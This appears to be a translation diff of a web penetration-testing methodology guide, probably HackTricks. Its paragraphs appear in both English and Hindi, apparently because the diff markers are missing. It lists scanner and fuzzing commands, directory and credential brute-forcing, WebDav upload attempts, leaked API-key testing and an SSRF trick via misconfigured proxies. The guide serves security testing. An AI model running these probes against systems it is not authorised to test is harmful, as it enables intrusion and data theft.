### वेब टेक ट्रिक्स
### Web tech tricks
कई प्रसिद्ध उपयोग किए जाने वाली **technologies** में **finding vulnerabilities** के लिए कुछ **tricks**:
कई जानकारियों: विभिन्न well known technologies में vulnerabilities खोजने के लिए कुछ ट्रिक्स:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -101,27 +101,27 @@ webanalyze -host https://google.com -crawl 2
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_ध्यान में रखें कि वही **domain** अलग-अलग **ports**, **folders** और **subdomains** में अलग-अलग **technologies** का उपयोग कर सकता है._\
यदि web application किसी भी पहले सूचीबद्ध जाने-माने **tech/platform** या किसी अन्य का उपयोग कर रही है, तो Internet पर नए ट्रिक्स खोजना न भूलें (और मुझे बताएं!).
_ध्यान रखें कि वही **domain** विभिन्न **technologies** को विभिन्न **ports**, **folders** और **subdomains** पर इस्तेमाल कर सकता है._\
यदि web application किसी भी पहले सूचीबद्ध well known **tech/platform** या किसी अन्य का उपयोग कर रही है, तो Internet पर नई **tricks** खोजना न भूलें (और मुझे सूचित करें!).
### स्रोत कोड समीक्षा
### Source Code Review
यदि एप्लिकेशन का **source code** **github** पर उपलब्ध है, तो एप्लिकेशन का **your own a White box test** करने के अलावा कुछ ऐसी **information** हो सकती है जो वर्तमान **Black-Box testing** के लिए उपयोगी हो:
यदि application का **source code** github पर उपलब्ध है, तो अपनी तरफ से एक **White box test** करने के अलावा कुछ जानकारी है जो वर्तमान **Black-Box testing** के लिए उपयोगी हो सकती है:
- क्या कोई **Change-log or Readme or Version** फ़ाइल या कोई ऐसी चीज़ है जिसमें **version info accessible** वेब पर उपलब्ध हो?
- क्रेडेंशियल्स किस तरह और कहाँ सहेजे जाते हैं? क्या कोई (पहुंच योग्य?) **file** है जिसमें credentials (usernames या passwords) हों?
- क्या कोई **Change-log or Readme or Version** file या कोई और चीज़ है जिसमें **version info accessible** वेब के माध्यम से मिल सकती है?
- **Credentials** कैसे और कहाँ सेव किए जाते हैं? क्या कोई (accessible?) **file** है जिसमें credentials (usernames या passwords) हैं?
- क्या **passwords** **plain text** में हैं, **encrypted** हैं या किस **hashing algorithm** का उपयोग किया गया है?
- क्या यह कुछ encrypt करने के लिए किसी **master key** का उपयोग कर रहा है? कौन सा **algorithm** उपयोग किया गया है?
- क्या आप किसी vulnerability का उपयोग करके इनमें से किसी फ़ाइल तक **access any of these files** कर सकते हैं?
- क्या github में कोई **interesting information** है (solved और not solved) **issues** में? या **commit history** में (शायद कोई **password introduced inside an old commit**)?
- क्या कुछ encrypt करने के लिए कोई **master key** उपयोग हो रही है? कौन सा **algorithm** उपयोग किया जा रहा है?
- क्या आप किसी vulnerability का फायदा उठाकर इन में से किसी भी **file** को **access** कर सकते हैं?
- क्या github में (solve किए गए और unsolved) **issues** में कोई दिलचस्प जानकारी है? या **commit history** में (शायद किसी पुराने commit में कोई **password** शामिल किया गया हो)?
{{#ref}}
code-review-tools.md
{{#endref}}
### स्वचालित स्कैनर
### Automatic scanners
#### सामान्य प्रयोजन स्वचालित स्कैनर
#### General purpose automatic scanners
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -133,14 +133,14 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### CMS स्कैनर
#### CMS scanners
यदि कोई CMS उपयोग में है तो **स्कैनर चलाना** न भूलें, शायद कुछ दिलचस्प मिल जाए:
यदि कोई CMS उपयोग किया जा रहा है तो **run a scanner** करना न भूलें, शायद कुछ दिलचस्प मिल जाए:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websites for Security issues. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइट्स के Security issues के लिए। (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **या** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d <URL>
@ -148,43 +148,43 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> इस चरण तक आपके पास क्लाइंट द्वारा उपयोग किए जा रहे वेब सर्वर के बारे में कुछ जानकारी होनी चाहिए (यदि कोई डेटा दिया गया हो) और टेस्ट के दौरान ध्यान में रखने के लिए कुछ ट्रिक्स। अगर आप भाग्यशाली हैं तो आपने किसी CMS को भी ढूंढ लिया होगा और कोई scanner चला लिया होगा।
> इस बिंदु पर आपके पास क्लाइंट द्वारा उपयोग किए जा रहे वेब सर्वर के बारे में कुछ जानकारी होनी चाहिए (यदि कोई डेटा दिया गया है) और टेस्ट के दौरान ध्यान में रखने के लिए कुछ ट्रिक्स। अगर आप भाग्यशाली हैं तो आपने एक CMS भी ढूंढ लिया होगा और कुछ scanner चलाया होगा।
## चरण-दर-चरण वेब एप्लिकेशन खोज
> इस बिंदु से हम वेब एप्लिकेशन के साथ इंटरैक्ट करना शुरू करने जा रहे हैं।
> इस बिंदु से हम वेब एप्लिकेशन के साथ इंटरैक्ट करना शुरू करेंगे।
### प्रारंभिक जांच
**रुचिकर जानकारी वाले Default pages:**
**डिफ़ॉल्ट पेज जिनमें रोचक जानकारी हो सकती है:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- मुख्य और द्वितीयक पृष्ठों में टिप्पणियाँ भी जांचें।
- मुख्य और द्वितीयक पृष्ठों में टिप्पणियाँ भी देखें।
**त्रुटियाँ जबरन उत्पन्न करना**
**Forcing errors**
वेब सर्वर जब अजीब डेटा मिलता है तो **अनपेक्षित व्यवहार** कर सकते हैं। यह कुछ **vulnerabilities** या **संवेदनशील जानकारी का खुलासा** कर सकता है।
वेब सर्वर तब **behave unexpectedly** कर सकते हैं जब उन्हें अजीब डेटा भेजा जाए। इससे कुछ **vulnerabilities** खुल सकती हैं या **disclosure sensitive information** हो सकता है।
- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
- /whatever_fake.php (.aspx,.html,.etc) जैसे **fake pages** को एक्सेस करें
- एरर बनाने के लिए **cookie values** और **parameter** values में "\[]", "]]", और "\[\[" जोड़ें
- URL के **end** पर इनपुट के रूप में **`/~randomthing/%s`** देकर error जनरेट करें
- PATCH, DEBUG जैसे अलग HTTP Verbs आज़माएँ या FAKE जैसे गलत verbs ट्राई करें
#### **यह जांचें कि क्या आप फाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
#### **जाँच करें कि आप फाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
यदि आप पाते हैं कि **WebDav** **enabled** है पर root फ़ोल्डर में **uploading files** की पर्याप्त permissions नहीं है तो कोशिश करें:
यदि आप पाएँ कि **WebDav** **enabled** है पर root folder में फाइलें अपलोड करने के लिए पर्याप्त permissions नहीं हैं तो कोशिश करें:
- **Brute Force** credentials
- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
- वेब पेज के अंदर मिले हुए बाकी **found folders** में **Upload files** via WebDav करें। हो सकता है कि आपके पास अन्य फ़ोल्डरों में फाइलें अपलोड करने की permissions हों।
### **SSL/TLS कमजोरियाँ**
### **SSL/TLS vulnerabilites**
- अगर application किसी भी हिस्से में **HTTPS के उपयोग को अनिवार्य** नहीं कर रहा है, तो यह **MitM** के लिए कमजोर है
- अगर application **संवेदनशील डेटा (passwords) को HTTP द्वारा भेज रहा है**। तो यह एक उच्च स्तर की vulnerability है।
- यदि एप्लिकेशन किसी भी हिस्से में **isn't forcing the user of HTTPS** है, तो यह **vulnerable to MitM** है
- यदि एप्लिकेशन **sending sensitive data (passwords) using HTTP** कर रहा है, तो यह एक हाई vulnerability है।
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
```bash
@ -202,51 +202,51 @@ Information about SSL/TLS vulnerabilities:
### Spidering
वेब के भीतर किसी तरह का **spider** लॉन्च करें। spider का उद्देश्य परीक्षण किए गए एप्लिकेशन से जितने संभव हो सकने वाले पाथ्स को **खोजना** है। इसलिए, web crawling और external sources का उपयोग करके जितने संभव वैध पाथ्स मिलें उन्हें इकट्ठा करना चाहिए।
Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS फ़ाइलों में LinkFinder और external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com) का उपयोग करता है।
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS फ़ाइलों के लिए LinkFider और Archive.org को external source के रूप में उपयोग करता है।
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, साथ ही "juicy files" का संकेत देता है।
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider। यह Archive.org में भी सर्च करता है।
- [**meg**](https://github.com/tomnomnom/meg) (go): यह टूल सीधे spider नहीं है पर उपयोगी हो सकता है। आप hosts की एक फाइल और paths की एक फाइल दे सकते हैं और meg हर host पर हर path को fetch करके response को सेव करेगा।
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS rendering क्षमताओं वाला HTML spider। हालांकि ऐसा लगता है कि यह unmaintained है; precompiled version पुराना है और current code compile नहीं होता।
- [**gau**](https://github.com/lc/gau) (go): external providers (wayback, otx, commoncrawl) का उपयोग करने वाला HTML spider।
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट parameter वाले URLs खोजेगा और उन्हें list करेगा।
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS rendering क्षमताओं वाला HTML spider।
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify क्षमताओं के साथ जो JS फ़ाइलों में नए पाथ खोज सकता है। यह देखने लायक है [JSScanner](https://github.com/dark-warlord14/JSScanner) भी, जो LinkFinder का wrapper है।
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML source और embedded javascript फाइलों से endpoints निकालने के लिए। bug hunters, red teamers, infosec ninjas के लिए उपयोगी।
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado और JSBeautifier का उपयोग कर JS फाइलों से relative URLs parse करने वाला python 2.7 स्क्रिप्ट। AJAX requests ढूँढ़ने में उपयोगी। लगता है unmaintained है।
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): किसी फ़ाइल (HTML) दिए जाने पर nifty regular expressions का उपयोग कर minified फाइलों से relative URLs निकालता है।
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): कई tools का उपयोग करके JS फ़ाइलों से interesting जानकारी इकट्ठा करता है।
- [**subjs**](https://github.com/lc/subjs) (go): JS फाइलें खोजता है।
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): headless browser में पेज लोड करता है और पेज लोड करने के लिए लोड होने वाले सभी urls प्रिंट करता है।
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): content discovery tool जो कई विकल्पों को मिलाता है।
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में path और params खोजने के लिए एक Burp extension।
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): यह टूल .js.map URL दिए जाने पर beautified JS code ला देता है।
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): किसी target के लिए endpoints discover करने वाला टूल।
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine से links discover करता है (wayback के responses भी download कर के और अधिक links के लिए सर्च करता है)।
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (यहाँ तक कि forms भरकर भी) और specific regexes का उपयोग करके sensitive info भी खोजता है।
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक advance multi-feature GUI web security Crawler/Spider है जो cyber security professionals के लिए डिज़ाइन किया गया है।
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go package और [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो JavaScript source code से URLs, paths, secrets, और अन्य interesting data extract करता है।
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक simple **Burp Suite extension** है जो request से parameters और endpoints extract करके fuzzing और enumeration के लिए custom wordlist बनाता है।
- [**katana**](https://github.com/projectdiscovery/katana) (go): इस काम के लिए एक शानदार टूल।
- [**Crawley**](https://github.com/s0rg/crawley) (go): यह जितने भी links ढूँढ सके उन्हें प्रिंट करता है।
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
### Brute Force directories and files
रूट फ़ोल्डर से **brute-forcing** शुरू करें और सुनिश्चित करें कि आप इस **method** का उपयोग करते हुए पाए गए सभी **directories** को brute-force करें और उन सभी directories को भी जो **Spidering** के दौरान **discovered** हुए हों (आप recursively brute-forcing कर सकते हैं और प्रयुक्त wordlist की शुरुआत में पाए गए directories के नाम append कर सकते हैं)।\
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
Tools:
- **Dirb** / **Dirbuster** - Kali में शामिल, **old** (और **slow**) लेकिन functional। auto-signed certificates और recursive search allow करता है। बाकी विकल्पों की तुलना में बहुत slow।
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह auto-signed certificates allow नहीं करता पर recursive search allow करता है।
- [**Gobuster**](https://github.com/OJ/gobuster) (go): यह auto-signed certificates allow करता है, पर इसमें **recursive** search नहीं है।
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): यह spider नहीं है पर दिए गए found URLs की सूची से "duplicated" URLs हटाने का काम करता है।
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension जो burp history से अलग pages के directories की सूची बनाने में मदद करता है।
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js imports के आधार पर duplicated functionalities वाले URLs हटाता है।
- [**Chamaleon**](https://github.com/iustin24/chameleon): यह wapalyzer का उपयोग कर उपयोग की गई technologies detect करता है और उपयुक्त wordlists चुनता है।
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
**Recommended dictionaries:**
@ -267,41 +267,41 @@ Tools:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_नोट: जब भी Brute-forcing या spidering के दौरान कोई नया directory discover हो, उसे भी Brute-Force करना चाहिए।_
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTMLs के अंदर broken links खोजें जो takeover के लिए प्रवण हो सकते हैं।
- **File Backups**: सभी फाइलें मिलने के बाद, executable files के backups ढूँढें ("_.php_", "_.aspx_"...)। backup नामकरण के सामान्य विकल्प हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप टूल [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) का भी उपयोग कर सकते हैं।
- **Discover new parameters**: छुपे हुए parameters discover करने के लिए आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) जैसे टूल्स का उपयोग कर सकते हैं। यदि संभव हो तो हर executable web file में hidden parameters खोजने की कोशिश करें।
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** सभी फाइलों की comments चेक करें, वहाँ आपको **credentials** या **hidden functionality** मिल सकती है।
- यदि आप **CTF** खेल रहे हैं, तो एक सामान्य trick यह है कि पेज के source में comment के दाईं ओर बहुत सारी spaces का उपयोग करके (ताकि ब्राउज़र में source देखने पर दिखाई न दे) जानकारी **छुपाई** जाती है। एक अन्य तरीका कई नए lines का उपयोग करके पेज के नीचे comment में जानकारी छुपाना है।
- **API keys**: अगर आपको कोई API key मिलती है तो विभिन्न प्लेटफ़ॉर्म्स की API keys का उपयोग कैसे करें इसके लिए गाइड हैं: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: यदि कोई API key कुछ इस तरह दिखती है **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik तो आप यह जांचने के लिए [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) प्रोजेक्ट का उपयोग कर सकते हैं कि key किन APIs को access कर सकती है।
- **S3 Buckets**: Spidering के दौरान देखें कि कोई **subdomain** या कोई **link** किसी S3 bucket से संबंधित तो नहीं है। ऐसी स्थिति में, [**check** the **permissions** of the bucket](buckets/index.html)।
- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**.
- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).
### Special findings
**Spidering** और **brute-forcing** करते समय आपको कुछ **interesting** चीज़ें मिल सकती हैं जिनकी आपको **नोटिस** करनी चाहिए।
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
**Interesting files**
- CSS फाइलों के अंदर अन्य फ़ाइलों के लिए **links** खोजें।
- Look for **links** to other files inside the **CSS** files.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- यदि आप _**.env**_ पाते हैं तो उसमें api keys, dbs passwords और अन्य जानकारी मिल सकती है।
- यदि आपको **API endpoints** मिलते हैं तो आप [should also test them](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, पर ये फ़ाइलों जैसी दिख सकती हैं।
- **JS files**: spidering सेक्शन में कई tools बताए गए थे जो JS फाइलों से पाथ extract कर सकते हैं। इसके अलावा, यह उपयोगी होगा कि प्रत्येक JS फाइल की monitoring की जाए, क्योंकि कुछ मामलों में कोई बदलाव यह संकेत दे सकता है कि कोड में कोई संभावित vulnerability आई है। उदाहरण के लिए आप [**JSMon**](https://github.com/robre/jsmon) का उपयोग कर सकते हैं।
- आप discovered JS files को [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) से भी चेक करें कि क्या वे vulnerable हैं।
- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.**
- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- कई मौकों पर आपको उपयोग किए गए regular expressions को समझने की आवश्यकता पड़ेगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex)
- आप उन फाइलों की भी मॉनिटरिंग कर सकते हैं जहाँ forms detect हुए थे, क्योंकि parameter में कोई बदलाव या किसी नए form का आना किसी संभावित नई vulnerable functionality का संकेत दे सकता है।
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -312,28 +312,28 @@ _नोट: जब भी Brute-forcing या spidering के दौरान
**502 Proxy Error**
यदि किसी पेज का response उस कोड के साथ है, तो संभवतः यह एक गलत configured proxy है। यदि आप ऐसा HTTP request भेजते हैं: `GET https://google.com HTTP/1.1` (host header और अन्य सामान्य headers के साथ), तो proxy _google.com_ तक पहुँचने की कोशिश करेगा और आपको एक SSRF मिल सकता है।
If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.
**NTLM Authentication - Info disclosure**
यदि running server authentication माँग रहा है और वह **Windows** है या आप किसी login को पाते हैं जो आपकी **credentials** माँग रहा है (और **domain** नाम भी माँग रहा है), तो आप एक **information disclosure** provoke कर सकते हैं।\
